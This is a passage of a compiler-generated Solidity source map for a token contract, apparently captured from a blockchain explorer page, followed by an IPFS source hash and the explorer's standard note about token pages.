;15008:15;:18::i;:::-;14993:11;;:33;;14892:134;14870:228;;;::::0;-1:-1:-1;;;14870:228:0;;8228:2:1;14870:228:0::1;::::0;::::1;8210:21:1::0;8267:2;8247:18;;;8240:30;8306:34;8286:18;;;8279:62;-1:-1:-1;;;8357:18:1;;;8350:42;8409:19;;14870:228:0::1;8026:408:1::0;14870:228:0::1;14342:764:::0;;;;;;;;:::o;23260:288::-;4715:4;4750:5;-1:-1:-1;;;;;4750:5:0;4610:10;4739:16;4594:38;;;;-1:-1:-1;;;4594:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;23371:24:0;::::1;;::::0;;;:16:::1;:24;::::0;;;;:33;;-1:-1:-1;;23371:33:0::1;::::0;::::1;::::0;::::1;::::0;;;::::1;::::0;;;23415:126:::1;;23442:19;23451:6;23459:1;23442:8;:19::i;:::-;23260:288:::0;;:::o;23415:126::-:1;23494:35;23503:6;23511:17;23521:6;23511:9;:17::i;:::-;23494:8;:35::i;4918:136::-:0;4715:4;4750:5;-1:-1:-1;;;;;4750:5:0;4610:10;4739:16;4594:38;;;;-1:-1:-1;;;4594:38:0;;;;;;;:::i;:::-;4994:5:::1;:11:::0;;-1:-1:-1;;;;;;4994:11:0::1;-1:-1:-1::0;;;;;4994:11:0;::::1;::::0;;::::1;::::0;;;5021:25:::1;::::0;1646:51:1;;;5021:25:0::1;::::0;1634:2:1;1619:18;5021:25:0::1;;;;;;;4918:136:::0;:::o;22883:369::-;-1:-1:-1;;;;;23010:19:0;;23002:68;;;;-1:-1:-1;;;23002:68:0;;8857:2:1;23002:68:0;;;8839:21:1;8896:2;8876:18;;;8869:30;8935:34;8915:18;;;8908:62;-1:-1:-1;;;8986:18:1;;;8979:34;9030:19;;23002:68:0;8655:400:1;23002:68:0;-1:-1:-1;;;;;23089:21:0;;23081:68;;;;-1:-1:-1;;;23081:68:0;;9262:2:1;23081:68:0;;;9244:21:1;9301:2;9281:18;;;9274:30;9340:34;9320:18;;;9313:62;-1:-1:-1;;;9391:18:1;;;9384:32;9433:19;;23081:68:0;9060:398:1;23081:68:0;-1:-1:-1;;;;;23160:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;23212:32;;1464:25:1;;;23212:32:0;;1437:18:1;23212:32:0;;;;;;;22883:369;;;:::o;13291:1043::-;13414:37;13425:6;13433:9;13444:6;13414:10;:37::i;:::-;13462:38;13482:6;13490:9;13462:19;:38::i;:::-;13511:31;13532:9;13511:20;:31::i;:::-;13553:41;13568:6;13576:9;13587:6;13553:14;:41::i;:::-;13605:39;13618:6;13626:9;13637:6;13605:12;:39::i;:::-;13655:27;13664:6;13672:9;13655:8;:27::i;:::-;-1:-1:-1;;;;;13713:17:0;;;;;;:9;:17;;;;;;:29;;13735:6;13713:21;:29::i;:::-;-1:-1:-1;;;;;13693:17:0;;;;;;:9;:17;;;;;:49;;;;13778:32;13703:6;13800:9;13778:13;:32::i;:::-;:104;;13876:6;13778:104;;;13826:34;13834:6;13842:9;13853:6;13826:7;:34::i;:::-;-1:-1:-1;;;;;13916:20:0;;;;;;:9;:20;;;;;;13753:129;;-1:-1:-1;13916:40:0;;13753:129;13916:24;:40::i;:::-;-1:-1:-1;;;;;13893:20:0;;;;;;;:9;:20;;;;;;;:63;;;;13972:43;;;;;;;;;;14000:14;1464:25:1;;1452:2;1437:18;;1318:177;13972:43:0;;;;;;;;-1:-1:-1;;;;;14031:24:0;;;;;;:16;:24;;;;;;;;14026:93;;14072:35;14081:6;14089:17;14099:6;14089:9;:17::i;14072:35::-;-1:-1:-1;;;;;14134:27:0;;;;;;:16;:27;;;;;;;;14129:102;;14178:41;14187:9;14198:20;14208:9;14198;:20::i;14178:41::-;-1:-1:-1;;;;;14245:17:0;;14272:1;14245:17;;;:6;:17;;;;;:24;:28;14241:86;;14290:25;14305:9;14290:14;:25::i;:::-;13403:931;13291:1043;;;:::o;2572:240::-;2692:7;2753:12;2745:6;;;;2737:29;;;;-1:-1:-1;;;2737:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2788:5:0;;;2572:240::o;978:98::-;1036:7;1063:5;1067:1;1063;:5;:::i;1084:98::-;1142:7;1169:5;1173:1;1169;:5;:::i;26809:269::-;26981:9;;-1:-1:-1;;;;;26948:30:0;;26906:4;26948:30;;;:17;:30;;;;;;26906:4;;26993:15;;26948:42;;26981:9;26948:42;:::i;:::-;:60;:122;;;;;27055:15;;27025:27;27040:11;27025:14;:27::i;:::-;:45;26928:142;26809:269;-1:-1:-1;;26809:269:0:o;27463:684::-;-1:-1:-1;;;;;27532:19:0;;;;;;:6;:19;;;;;:26;:31;;27528:70;;27463:684;:::o;27528:70::-;27608:14;27625:27;27640:11;27625:14;:27::i;:::-;27608:44;-1:-1:-1;27667:10:0;;27663:477;;27713:16;;:28;;27734:6;27713:20;:28::i;:::-;27694:16;:47;27763:6;;27756:44;;-1:-1:-1;;;27756:44:0;;-1:-1:-1;;;;;7342:32:1;;;27756:44:0;;;7324:51:1;7391:18;;;7384:34;;;27763:6:0;;;;27756:23;;7297:18:1;;27756:44:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;;27815:30:0;;;;;;:17;:30;;;;;;;;27848:15;27815:48;;27914:6;:19;;;;;:51;;;:81;;27988:6;27914:73;:81::i;:::-;-1:-1:-1;;;;;27878:19:0;;;;;;:6;:19;;;;;:33;;;:117;;;;28087:26;28046:82;;:22;:82::i;:::-;-1:-1:-1;;;;;28010:19:0;;;;;;:6;:19;;;;;:33;;:118;27517:630;27463:684;:::o;872:98::-;930:7;957:5;961:1;957;:5;:::i;766:98::-;824:7;851:5;855:1;851;:5;:::i;28705:215::-;28802:7;28847:65;28880:31;;28847:28;28857:17;;28847:5;:9;;:28;;;;:::i;23556:548::-;23644:1;23635:6;:10;:45;;;;-1:-1:-1;;;;;;23649:19:0;;;;;;:6;:19;;;;;:26;:31;23635:45;23631:219;;;29322:12;:19;;-1:-1:-1;;;;;29288:31:0;;;;;;:18;:31;;;;;:53;;;29352:30;;;;;;;;;;;;;-1:-1:-1;;;;;;29352:30:0;;;;;;23631:219;;;23746:11;;:45;;;;-1:-1:-1;;;;;;23761:19:0;;23790:1;23761:19;;;:6;:19;;;;;:26;:30;;23746:45;23742:108;;;23808:30;23826:11;23808:17;:30::i;:::-;-1:-1:-1;;;;;23890:19:0;;;;;;:6;:19;;;;;:26;23874:11;;:55;;23922:6;;23874:43;;:15;:43::i;:::-;:47;;:55::i;:::-;23860:11;:69;-1:-1:-1;;;;;23940:19:0;;;;;;:6;:19;;;;;:35;;;24022:74;23969:6;24022:22;:74::i;12735:548::-;-1:-1:-1;;;;;12873:20:0;;12865:70;;;;-1:-1:-1;;;12865:70:0;;9798:2:1;12865:70:0;;;9780:21:1;9837:2;9817:18;;;9810:30;9876:34;9856:18;;;9849:62;-1:-1:-1;;;9927:18:1;;;9920:35;9972:19;;12865:70:0;9596:401:1;12865:70:0;-1:-1:-1;;;;;12954:23:0;;12946:71;;;;-1:-1:-1;;;12946:71:0;;10204:2:1;12946:71:0;;;10186:21:1;10243:2;10223:18;;;10216:30;10282:34;10262:18;;;10255:62;-1:-1:-1;;;10333:18:1;;;10326:33;10376:19;;12946:71:0;10002:399:1;12946:71:0;13067:1;13050:6;:19;13028:110;;;;-1:-1:-1;;;13028:110:0;;10608:2:1;13028:110:0;;;10590:21:1;10647:2;10627:18;;;10620:30;10686:34;10666:18;;;10659:62;-1:-1:-1;;;10737:18:1;;;10730:39;10786:19;;13028:110:0;10406:405:1;13028:110:0;13181:17;13191:6;13181:9;:17::i;:::-;13171:6;:27;;13149:126;;;;-1:-1:-1;;;13149:126:0;;11018:2:1;13149:126:0;;;11000:21:1;11057:2;11037:18;;;11030:30;11096:34;11076:18;;;11069:62;-1:-1:-1;;;11147:18:1;;;11140:47;11204:19;;13149:126:0;10816:413:1;16092:240:0;-1:-1:-1;;;;;16209:19:0;;;;;;:11;:19;;;;;;;;16208:20;:47;;;;-1:-1:-1;;;;;;16233:22:0;;;;;;:11;:22;;;;;;;;16232:23;16208:47;16204:121;;;16280:14;;-1:-1:-1;;;16280:14:0;;;;16272:41;;;;-1:-1:-1;;;16272:41:0;;11436:2:1;16272:41:0;;;11418:21:1;11475:2;11455:18;;;11448:30;-1:-1:-1;;;11494:18:1;;;11487:44;11548:18;;16272:41:0;11234:338:1;16340:774:0;16448:6;;-1:-1:-1;;;;;16427:28:0;;;16448:6;;;;;16427:28;;;;:58;;-1:-1:-1;16480:4:0;;-1:-1:-1;;;;;16459:26:0;;;16480:4;;16459:26;;16427:58;:82;;;;-1:-1:-1;16489:20:0;;;;16427:82;16423:493;;;16590:16;16605:1;16590:12;:16;:::i;:::-;16577:9;16552:35;;;;:24;:35;;;;;;:54;:133;;;;-1:-1:-1;16669:16:0;16684:1;16669:12;:16;:::i;:::-;-1:-1:-1;;;;;16631:35:0;;;;;;:24;:35;;;;;;:54;16552:133;16526:248;;;;-1:-1:-1;;;16526:248:0;;11779:2:1;16526:248:0;;;11761:21:1;11818:2;11798:18;;;11791:30;11857:34;11837:18;;;11830:62;-1:-1:-1;;;11908:18:1;;;11901:51;11969:19;;16526:248:0;11577:417:1;16526:248:0;16814:9;16789:35;;;;:24;:35;;;;;;16827:12;16789:50;;;;-1:-1:-1;;;;;16854:35:0;;;;;;:50;16423:493;16953:4;;-1:-1:-1;;;;;16932:26:0;;;16953:4;;16932:26;16928:179;;-1:-1:-1;;;;;16980:28:0;;;;;;:17;:28;;;;;;:33;;16976:120;;-1:-1:-1;;;;;17034:28:0;;;;;;:17;:28;;;;;17065:15;17034:46;;16976:120;16340:774;:::o;17122:489::-;-1:-1:-1;;;;;17275:19:0;;;;;;:11;:19;;;;;;;;17274:20;:60;;;;-1:-1:-1;;;;;;17312:22:0;;;;;;:11;:22;;;;;;;;17311:23;17274:60;:103;;;;-1:-1:-1;17372:4:0;;-1:-1:-1;;;;;17351:26:0;;;17372:4;;17351:26;;17274:103;:146;;;;-1:-1:-1;;;;;;17394:26:0;;9344:42;17394:26;;17274:146;17256:348;;;17511:15;;-1:-1:-1;;;;;17474:20:0;;;;;;:9;:20;;;;;;:32;;17499:6;17474:24;:32::i;:::-;17473:53;;17447:145;;;;-1:-1:-1;;;17447:145:0;;12201:2:1;17447:145:0;;;12183:21:1;12240:2;12220:18;;;12213:30;12279:32;12259:18;;;12252:60;12329:18;;17447:145:0;11999:354:1;17619:563:0;17765:4;;-1:-1:-1;;;;;17755:14:0;;;17765:4;;17755:14;17751:241;;17822:14;;17812:6;:24;;:68;;;-1:-1:-1;;;;;;17861:19:0;;;;;;:11;:19;;;;;;;;17812:68;:115;;;-1:-1:-1;;;;;;17905:22:0;;;;;;:11;:22;;;;;;;;17812:115;17786:194;;;;-1:-1:-1;;;17786:194:0;;12560:2:1;17786:194:0;;;12542:21:1;12599:2;12579:18;;;12572:30;-1:-1:-1;;;12618:18:1;;;12611:47;12675:18;;17786:194:0;12358:341:1;17786:194:0;18034:12;;18024:6;:22;;:62;;;-1:-1:-1;;;;;;18067:19:0;;;;;;:11;:19;;;;;;;;18024:62;:105;;;-1:-1:-1;;;;;;18107:22:0;;;;;;:11;:22;;;;;;;;18024:105;18002:172;;;;-1:-1:-1;;;18002:172:0;;12560:2:1;18002:172:0;;;12542:21:1;12599:2;12579:18;;;12572:30;-1:-1:-1;;;12618:18:1;;;12611:47;12675:18;;18002:172:0;12358:341:1;20842:183:0;20919:33;20934:6;20942:9;20919:14;:33::i;:::-;20915:103;;;20969:37;20984:13;;20999:6;20969:14;:37::i;21033:192::-;-1:-1:-1;;;;;21171:19:0;;21141:4;21171:19;;;:11;:19;;;;;;;;21170:20;:47;;;;-1:-1:-1;;;;;;;21195:22:0;;;;;:11;:22;;;;;;;;21194:23;;21033:192;-1:-1:-1;21033:192:0:o;21656:769::-;21776:7;21833:1;21800:30;21812:6;21820:9;21800:11;:30::i;:::-;:34;21796:598;;;21851:17;21871:91;21917:30;21929:6;21937:9;21917:11;:30::i;:::-;21882:11;;21871:23;;:6;;:10;:23::i;:91::-;22022:4;22004:24;;;;:9;:24;;;;;;21851:111;;-1:-1:-1;22004:39:0;;21851:111;22004:28;:39::i;:::-;21995:4;21977:24;;;;:9;:24;;;;;;;:66;;;;22063:42;;-1:-1:-1;;;;;22063:42:0;;;;;;;22095:9;1464:25:1;;1452:2;1437:18;;1318:177;22063:42:0;;;;;;;;22124:7;;:20;22120:220;;22165:159;22205:4;9344:42;22269:36;22297:7;;22269:23;22280:11;;22269:6;:10;;:23;;;;:::i;:36::-;22165:9;:159::i;:::-;22361:21;:6;22372:9;22361:10;:21::i;:::-;22354:28;;;;;21796:598;-1:-1:-1;22411:6:0;21656:769;-1:-1:-1;;21656:769:0:o;29398:340::-;29514:12;29541:19;;:23;;29563:1;;29541:23;:::i;:::-;29514:61;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;29479:31:0;;;;;:18;:31;;;;;;;29466:45;;29514:61;;;;;29466:45;;;;;;:::i;:::-;;;;;;;;;;;;;:109;;-1:-1:-1;;;;;;29466:109:0;-1:-1:-1;;;;;29466:109:0;;;;;;29670:31;;;;;:18;:31;;;;;;;29632:19;;29670:31;;:18;;29466:45;;29632:23;;-1:-1:-1;;29632:23:0;:::i;:::-;29619:37;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;29619:37:0;29586:81;;;;;;;;;;;;;;;:115;;;;29712:18;;;;;;;:::i;:::-;;;;;;;;;;-1:-1:-1;;29712:18:0;;;;;-1:-1:-1;;;;;;29712:18:0;;;;;;-1:-1:-1;29398:340:0:o;20391:443::-;20500:4;20522:19;20572:13;;20544:24;20562:4;20544:9;:24::i;:::-;20617:8;;-1:-1:-1;;20544:41:0;;-1:-1:-1;20617:8:0;;;;;20616:9;:37;;;;-1:-1:-1;20642:11:0;;;;20616:37;:68;;;;-1:-1:-1;20670:14:0;;-1:-1:-1;;;20670:14:0;;;;20616:68;:105;;;;-1:-1:-1;;;;;;20702:19:0;;;;;;:11;:19;;;;;;;;20701:20;20616:105;:145;;;;-1:-1:-1;;;;;;20739:22:0;;;;;;:11;:22;;;;;;;;20738:23;20616:145;:179;;;;-1:-1:-1;20791:4:0;;-1:-1:-1;;;;;20778:17:0;;;20791:4;;20778:17;20616:179;:210;;;;-1:-1:-1;20812:14:0;20596:230;-1:-1:-1;;;20391:443:0:o;18190:1381::-;8396:8;:15;;-1:-1:-1;;8396:15:0;;;;;18395:10:::1;::::0;18357:14:::1;::::0;18339:12:::1;::::0;18315::::1;::::0;8396:15;;18300:138:::1;::::0;18436:1:::1;::::0;18315:105:::1;::::0;:57:::1;::::0;18357:14;18315:57;;;;8407:4;18315:16:::1;:19::i;18300:138::-;18277:161;;18449:32;18484:66;18527:12;18484:24;18495:12;;18484:6;:10;;:24;;;;:::i;:66::-;18449:101:::0;-1:-1:-1;18561:14:0::1;18578:36;:6:::0;18449:101;18578:10:::1;:36::i;:::-;18561:53:::0;-1:-1:-1;18650:21:0::1;18682:24;18561:53:::0;18682:16:::1;:24::i;:::-;18717:20;18740:41;:21;18766:14:::0;18740:25:::1;:41::i;:::-;18717:64;;18792:19;18814:48;18831:30;18848:12;;18831;:16;;:30;;;;:::i;:::-;18814:12:::0;;:16:::1;:48::i;:::-;18792:70;;18873:29;18905;18921:12;;18905:11;:15;;:29;;;;:::i;:::-;18873:61:::0;-1:-1:-1;18949:34:0;;18945:128:::1;;19000:61;19013:24;19039:21;19000:12;:61::i;:::-;19132:12;::::0;19083:23:::1;::::0;19109:36:::1;::::0;:18:::1;:11:::0;19125:1:::1;19109:15;:18::i;:36::-;19083:62:::0;-1:-1:-1;19160:19:0;;19156:105:::1;;19204:18;::::0;19196:53:::1;::::0;-1:-1:-1;;;;;19204:18:0;;::::1;::::0;19196:53;::::1;;;::::0;19233:15;;19204:18:::1;19196:53:::0;19204:18;19196:53;19233:15;19204:18;19196:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;19156:105;19318:10;::::0;19271:21:::1;::::0;19295:34:::1;::::0;:18:::1;:11:::0;19311:1:::1;19295:15;:18::i;:34::-;19271:58:::0;-1:-1:-1;19344:17:0;;19340:86:::1;;19378:36;19392:13;19407:6;19378:13;:36::i;:::-;19440:21;:34:::0;19436:128:::1;;19499:20;::::0;19491:61:::1;::::0;-1:-1:-1;;;;;19499:20:0;;::::1;::::0;19530:21:::1;19491:61:::0;::::1;;;::::0;19499:20:::1;19491:61:::0;19499:20;19491:61;19530:21;19499:20;19491:61;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;19436:128;-1:-1:-1::0;;8434:8:0;:16;;-1:-1:-1;;8434:16:0;;;-1:-1:-1;;;;;;;;;18190:1381:0:o;21233:415::-;-1:-1:-1;;;;;21368:13:0;;21339:7;21368:13;;;:5;:13;;;;;;;;;:33;;-1:-1:-1;;;;;;21385:16:0;;;;;;:5;:16;;;;;;;;21368:33;21364:102;;;21425:11;;:29;;21449:3;21425:15;:29::i;:::-;21418:36;;;;21364:102;21493:4;;-1:-1:-1;;;;;21493:4:0;;;21480:17;;;;21476:64;;-1:-1:-1;21521:7:0;;21514:14;;21476:64;21564:4;;-1:-1:-1;;;;;21564:4:0;;;21554:14;;;;21550:62;;-1:-1:-1;21592:8:0;;21585:15;;21550:62;-1:-1:-1;21629:11:0;;21233:415;;;;:::o;19939:444::-;20029:16;;;20043:1;20029:16;;;;;;;;20005:21;;20029:16;;;;;;;;;;-1:-1:-1;20029:16:0;20005:40;;20074:4;20056;20061:1;20056:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;20056:23:0;;;-1:-1:-1;;;;;20056:23:0;;;;;20100:6;;;;;;;;;-1:-1:-1;;;;;20100:6:0;-1:-1:-1;;;;;20100:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20090:4;20095:1;20090:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20090:23:0;;;:7;;;;;;;;;:23;20156:6;;20124:53;;20141:4;;20156:6;;;;20165:11;20124:8;:53::i;:::-;20188:6;;:187;;-1:-1:-1;;;20188:187:0;;:6;;;;-1:-1:-1;;;;;20188:6:0;;:57;;:187;;20260:11;;20286:1;;20302:4;;20329;;20349:15;;20188:187;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19994:389;19939:444;:::o;19579:352::-;19692:6;;19660:53;;19677:4;;19692:6;;;-1:-1:-1;;;;;19692:6:0;19701:11;19660:8;:53::i;:::-;19724:6;;19865:17;;19724:199;;-1:-1:-1;;;19724:199:0;;19787:4;19724:199;;;14618:34:1;14668:18;;;14661:34;;;19833:1:0;14711:18:1;;;14704:34;;;14754:18;;;14747:34;-1:-1:-1;;;;;19865:17:0;;;14797:19:1;;;14790:44;19897:15:0;14850:19:1;;;14843:35;19724:6:0;;;;;;:22;;19754:9;;14552:19:1;;19724:199:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;19579:352;;:::o;24112:987::-;24221:6;;24214:39;;-1:-1:-1;;;24214:39:0;;24247:4;24214:39;;;1646:51:1;24190:21:0;;-1:-1:-1;;;;;24221:6:0;;24214:24;;1619:18:1;;24214:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;24288:16;;;24302:1;24288:16;;;;;;;;24190:63;;-1:-1:-1;24264:21:0;;24288:16;;;;;;;;;;;;-1:-1:-1;24288:16:0;24264:40;;24325:6;;;;;;;;;-1:-1:-1;;;;;24325:6:0;-1:-1:-1;;;;;24325:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;24315:4;24320:1;24315:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;24315:23:0;;;:7;;;;;;;;;:23;24367:6;;24349:7;;24367:6;;;24349:4;;24367:6;;24349:7;;;;;;:::i;:::-;-1:-1:-1;;;;;24349:25:0;;;:7;;;;;;;;;:25;24385:6;;:140;;-1:-1:-1;;;24385:140:0;;:6;;;;;;;;:57;;24464:9;;24385:140;;24485:1;;24488:4;;24502;;24509:15;;24385:140;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;24567:6:0;;24560:39;;-1:-1:-1;;;24560:39:0;;24593:4;24560:39;;;1646:51:1;24536:21:0;;-1:-1:-1;;;;;;24567:6:0;;;;-1:-1:-1;24560:24:0;;-1:-1:-1;1619:18:1;;24560:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;24536:63;-1:-1:-1;24610:14:0;24627:32;24536:63;24645:13;24627:17;:32::i;:::-;24687:14;;24610:49;;-1:-1:-1;24687:26:0;;24610:49;24687:18;:26::i;:::-;24670:14;:43;24797:24;;;;;;;;;;;-1:-1:-1;;;24797:24:0;;;;;24757:75;;-1:-1:-1;;;;;1664:32:1;;;24757:75:0;;;;1646:51:1;;;;24757:75:0;;;;;;;;;;1619:18:1;;;;24757:75:0;;;;;;;-1:-1:-1;;;;;24757:75:0;-1:-1:-1;;;24757:75:0;;;24862:17;;:31;;24757:75;;-1:-1:-1;;24862:17:0;;:31;;24757:75;;24862:31;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24843:50;;;24912:7;24904:49;;;;-1:-1:-1;;;24904:49:0;;16398:2:1;24904:49:0;;;16380:21:1;16437:2;16417:18;;;16410:30;16476:31;16456:18;;;16449:59;16525:18;;24904:49:0;16196:353:1;24904:49:0;24984:107;25020:60;25068:11;;25020:43;25056:6;25020:31;;:35;;:43;;;;:::i;:60::-;24984:17;;;:21;:107::i;:::-;24964:17;:127;-1:-1:-1;;;;;;;;24112:987:0:o;14:250:1:-;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:396::-;418:2;407:9;400:21;381:4;450:6;444:13;493:6;488:2;477:9;473:18;466:34;509:79;581:6;576:2;565:9;561:18;556:2;548:6;544:15;509:79;:::i;:::-;649:2;628:15;-1:-1:-1;;624:29:1;609:45;;;;656:2;605:54;;269:396;-1:-1:-1;;269:396:1:o;670:131::-;-1:-1:-1;;;;;745:31:1;;735:42;;725:70;;791:1;788;781:12;806:315;874:6;882;935:2;923:9;914:7;910:23;906:32;903:52;;;951:1;948;941:12;903:52;990:9;977:23;1009:31;1034:5;1009:31;:::i;:::-;1059:5;1111:2;1096:18;;;;1083:32;;-1:-1:-1;;;806:315:1:o;1708:456::-;1785:6;1793;1801;1854:2;1842:9;1833:7;1829:23;1825:32;1822:52;;;1870:1;1867;1860:12;1822:52;1909:9;1896:23;1928:31;1953:5;1928:31;:::i;:::-;1978:5;-1:-1:-1;2035:2:1;2020:18;;2007:32;2048:33;2007:32;2048:33;:::i;:::-;1708:456;;2100:7;;-1:-1:-1;;;2154:2:1;2139:18;;;;2126:32;;1708:456::o;2169:247::-;2228:6;2281:2;2269:9;2260:7;2256:23;2252:32;2249:52;;;2297:1;2294;2287:12;2249:52;2336:9;2323:23;2355:31;2380:5;2355:31;:::i;2610:316::-;2687:6;2695;2703;2756:2;2744:9;2735:7;2731:23;2727:32;2724:52;;;2772:1;2769;2762:12;2724:52;-1:-1:-1;;2795:23:1;;;2865:2;2850:18;;2837:32;;-1:-1:-1;2916:2:1;2901:18;;;2888:32;;2610:316;-1:-1:-1;2610:316:1:o;2931:118::-;3017:5;3010:13;3003:21;2996:5;2993:32;2983:60;;3039:1;3036;3029:12;3054:382;3119:6;3127;3180:2;3168:9;3159:7;3155:23;3151:32;3148:52;;;3196:1;3193;3186:12;3148:52;3235:9;3222:23;3254:31;3279:5;3254:31;:::i;:::-;3304:5;-1:-1:-1;3361:2:1;3346:18;;3333:32;3374:30;3333:32;3374:30;:::i;:::-;3423:7;3413:17;;;3054:382;;;;;:::o;3441:383::-;3518:6;3526;3534;3587:2;3575:9;3566:7;3562:23;3558:32;3555:52;;;3603:1;3600;3593:12;3555:52;3639:9;3626:23;3616:33;;3699:2;3688:9;3684:18;3671:32;3712:31;3737:5;3712:31;:::i;4153:388::-;4221:6;4229;4282:2;4270:9;4261:7;4257:23;4253:32;4250:52;;;4298:1;4295;4288:12;4250:52;4337:9;4324:23;4356:31;4381:5;4356:31;:::i;:::-;4406:5;-1:-1:-1;4463:2:1;4448:18;;4435:32;4476:33;4435:32;4476:33;:::i;4546:661::-;4668:6;4676;4684;4692;4700;4708;4716;4724;4777:3;4765:9;4756:7;4752:23;4748:33;4745:53;;;4794:1;4791;4784:12;4745:53;-1:-1:-1;;4817:23:1;;;4887:2;4872:18;;4859:32;;-1:-1:-1;4938:2:1;4923:18;;4910:32;;4989:2;4974:18;;4961:32;;-1:-1:-1;5040:3:1;5025:19;;5012:33;;-1:-1:-1;5092:3:1;5077:19;;5064:33;;-1:-1:-1;5144:3:1;5129:19;;5116:33;;-1:-1:-1;5196:3:1;5181:19;5168:33;;-1:-1:-1;4546:661:1;-1:-1:-1;4546:661:1:o;5472:329::-;5674:2;5656:21;;;5713:1;5693:18;;;5686:29;-1:-1:-1;;;5746:2:1;5731:18;;5724:36;5792:2;5777:18;;5472:329::o;5806:127::-;5867:10;5862:3;5858:20;5855:1;5848:31;5898:4;5895:1;5888:15;5922:4;5919:1;5912:15;5938:168;6011:9;;;6042;;6059:15;;;6053:22;;6039:37;6029:71;;6080:18;;:::i;6111:217::-;6151:1;6177;6167:132;;6221:10;6216:3;6212:20;6209:1;6202:31;6256:4;6253:1;6246:15;6284:4;6281:1;6274:15;6167:132;-1:-1:-1;6313:9:1;;6111:217::o;6748:127::-;6809:10;6804:3;6800:20;6797:1;6790:31;6840:4;6837:1;6830:15;6864:4;6861:1;6854:15;6880:135;6919:3;6940:17;;;6937:43;;6960:18;;:::i;:::-;-1:-1:-1;7007:1:1;6996:13;;6880:135::o;7020:125::-;7085:9;;;7106:10;;;7103:36;;;7119:18;;:::i;7429:245::-;7496:6;7549:2;7537:9;7528:7;7524:23;7520:32;7517:52;;;7565:1;7562;7555:12;7517:52;7597:9;7591:16;7616:28;7638:5;7616:28;:::i;9463:128::-;9530:9;;;9551:11;;;9548:37;;;9565:18;;:::i;12704:127::-;12765:10;12760:3;12756:20;12753:1;12746:31;12796:4;12793:1;12786:15;12820:4;12817:1;12810:15;12968:251;13038:6;13091:2;13079:9;13070:7;13066:23;13062:32;13059:52;;;13107:1;13104;13097:12;13059:52;13139:9;13133:16;13158:31;13183:5;13158:31;:::i;13224:461::-;13277:3;13315:5;13309:12;13342:6;13337:3;13330:19;13368:4;13397:2;13392:3;13388:12;13381:19;;13434:2;13427:5;13423:14;13455:1;13465:195;13479:6;13476:1;13473:13;13465:195;;;13544:13;;-1:-1:-1;;;;;13540:39:1;13528:52;;13600:12;;;;13635:15;;;;13576:1;13494:9;13465:195;;;-1:-1:-1;13676:3:1;;13224:461;-1:-1:-1;;;;;13224:461:1:o;13690:582::-;13989:6;13978:9;13971:25;14032:6;14027:2;14016:9;14012:18;14005:34;14075:3;14070:2;14059:9;14055:18;14048:31;13952:4;14096:57;14148:3;14137:9;14133:19;14125:6;14096:57;:::i;:::-;-1:-1:-1;;;;;14189:32:1;;;;14184:2;14169:18;;14162:60;-1:-1:-1;14253:3:1;14238:19;14231:35;14088:65;13690:582;-1:-1:-1;;;13690:582:1:o;14889:306::-;14977:6;14985;14993;15046:2;15034:9;15025:7;15021:23;15017:32;15014:52;;;15062:1;15059;15052:12;15014:52;15091:9;15085:16;15075:26;;15141:2;15130:9;15126:18;15120:25;15110:35;;15185:2;15174:9;15170:18;15164:25;15154:35;;14889:306;;;;;:::o;15200:184::-;15270:6;15323:2;15311:9;15302:7;15298:23;15294:32;15291:52;;;15339:1;15336;15329:12;15291:52;-1:-1:-1;15362:16:1;;15200:184;-1:-1:-1;15200:184:1:o;15389:510::-;15660:6;15649:9;15642:25;15703:3;15698:2;15687:9;15683:18;15676:31;15623:4;15724:57;15776:3;15765:9;15761:19;15753:6;15724:57;:::i;:::-;-1:-1:-1;;;;;15817:32:1;;;;15812:2;15797:18;;15790:60;-1:-1:-1;15881:2:1;15866:18;15859:34;15716:65;15389:510;-1:-1:-1;;15389:510:1:o;15904:287::-;16033:3;16071:6;16065:13;16087:66;16146:6;16141:3;16134:4;16126:6;16122:17;16087:66;:::i;:::-;16169:16;;;;;15904:287;-1:-1:-1;;15904:287:1:o

Swarm Source

ipfs://fa5d6a7435f8b6f1e7ba854cb02ed338d912b287953ea683355643170a59ae22
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.